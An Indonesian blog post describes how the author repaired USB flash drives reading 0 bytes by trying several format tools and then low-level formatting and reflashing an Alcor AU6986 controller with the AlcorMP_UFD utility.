Cara ampuh perbaiki USB Flashdisk yang rusak

Pernah terbayang gak yah jengkelnya bilamana flashdisk yang baru digunakan atau yang sudah lama ketika mau digunakan malah tidak terbaca atau tertera 0 byts pada komputer kita.? sebenarnya banyak mpenyebab dari hal ini yang menyebabkan Flash disk tidak terbaca, mungkin dikarenakan dari faktor human eror sendiri atau memang FD nya yang rusak, bisa saja dalam keadan FD runing terus tersenggol jari tangan atau tergoyang posisinya atau juga mencabut flash disk tapi tidak melakukan konfirmasi pencabutan pada system. nah kali ini untuk melengkapi janji saya sebelumnya mari kita ikuti beberapa cara mudah dengan bantuan software mini untuk mengembalikan Flashdisk kita yang telah rusak.

Cara Ampuh memperbaiki flashdisk yang rusak ini saya tulis untuk melengkapi postingan sebelumnya tentang cara memperbaiki flashdisk yang terbaca 0 byte. Tadi siang saya diminta temen saya untuk memperbaiki 2 buah flashdisk merk Transcend yang masing-masing kapasitasnya 1 GB. 

Saat dicolokkan ke USB port, Flashdisk yang satu langsung ter-detect dan terbaca sebagai drive I tetapi ketika di-klik muncul tulisan "Please insert a disk into drive I:" saya lihat properties-nya flashdisk terbaca 0 byte. Sedangkan untuk flashdisk yang satu lagi ketika dicolokkan ke USB port tidak terdeteksi sama sekali. Sayapun memutuskan untuk mencoba memperbaiki flashdisk yang masih ter-detect sama windows.

Berikut langkah-langkah saya dalam memperbaiki flashdisk yang rusak tersebut:

1. Memformat Flashdisk menggunakan HP USB Disk Storage Format Tool 

Terinspirasi pengalaman beberapa waktu lalu ketika memperbaiki flashdik yang terbaca 0 byte, sayapun mencoba mempformat flashdisk yang rusak tersebut dengan tools HP USB Disk Storage Format Tool , tetapi tidak berhasil. Software HP USB Disk Storage Format Tool tidak mendeteksi adanya flashdisk.

2. Menggunakan Software untuk memperbaiki Flashdisk.

Langkah kedua adalah menggunakan beberapa tools / software yang biasa dipakai dalam memperbaiki flashdisk yang rusak seperti misalnya, Super Stick Recovery Tools, tetapi tetap flashdisk tidak terbaca. Kemudian saya gunakan program Low Level Format dan Seatools for Windows, flashdisk terbaca tetapi tetap tidak bisa diperbaiki.

3. Reprogram ulang IC Controller Flashdisk

Akhirnya saya ketemu artikel yang menyarankan untuk me-low level format USB Flashdisk sekaligus memflash / program ulang IC Controllernya. Setelah saya bongkar ternyata IC Controllernya adalah ALCOR-AU6986. Setelah googling akhirnya ketemu juga software AlcorMP_UFD untuk IC ALCOR-AU6986. 

Cara memperbaiki Flashdisk menggunakan AlcorMP_UFD tools ini adalah sebagai berikut:

1. Download program AlcorMP_UFD untuk IC ALCOR-AU6986 DISINI
2. Setelah diekstrak jalankan file ALCORMP.EXE. (use run admin for vista/win7)
3. Klik menu setup, apabila muncul jendela password klik OK aja,
4. Tampilannya seperti gambar dibawah, ganti Scan Mode menjadi Low Level Format.

Berikut ini saya berikan tutorial bergambarnya dengan menggunakan FD merek KINGSTONE 1 GB usia 5 tahun lalu yang rusak karena tidak terbaca dan Drivenya selalu hilang timbul dikomputer..

1. Pada menu AlcorMP_UFD silakan gunakan run admin (vista/win7)

2. Klik setup (s) pada panah merah dibawah ini

 3. Konfirmasi password tidak usah jadi langsung klik OK saja untuk melanjutkan.

4. Ikuti petunjuk yang ada digambar dan gunakan LOW FORMAT setelah itu klik OK.

5. Setelah berhasil, format ulang lagi Flashdisk dengan Format bawaan Windows

6. Dan jreng... Alhamdulillah Flashdisk kembali normal.

                                       Sebelum                                                          Sesudah

Bagi temen-temen yang mengalami masalah kerusakan USB Flashdisk merk KINGSTONE seperti diatas, muncul tulisan Please insert a disk into drive x: semoga tulisan ini bisa membantu.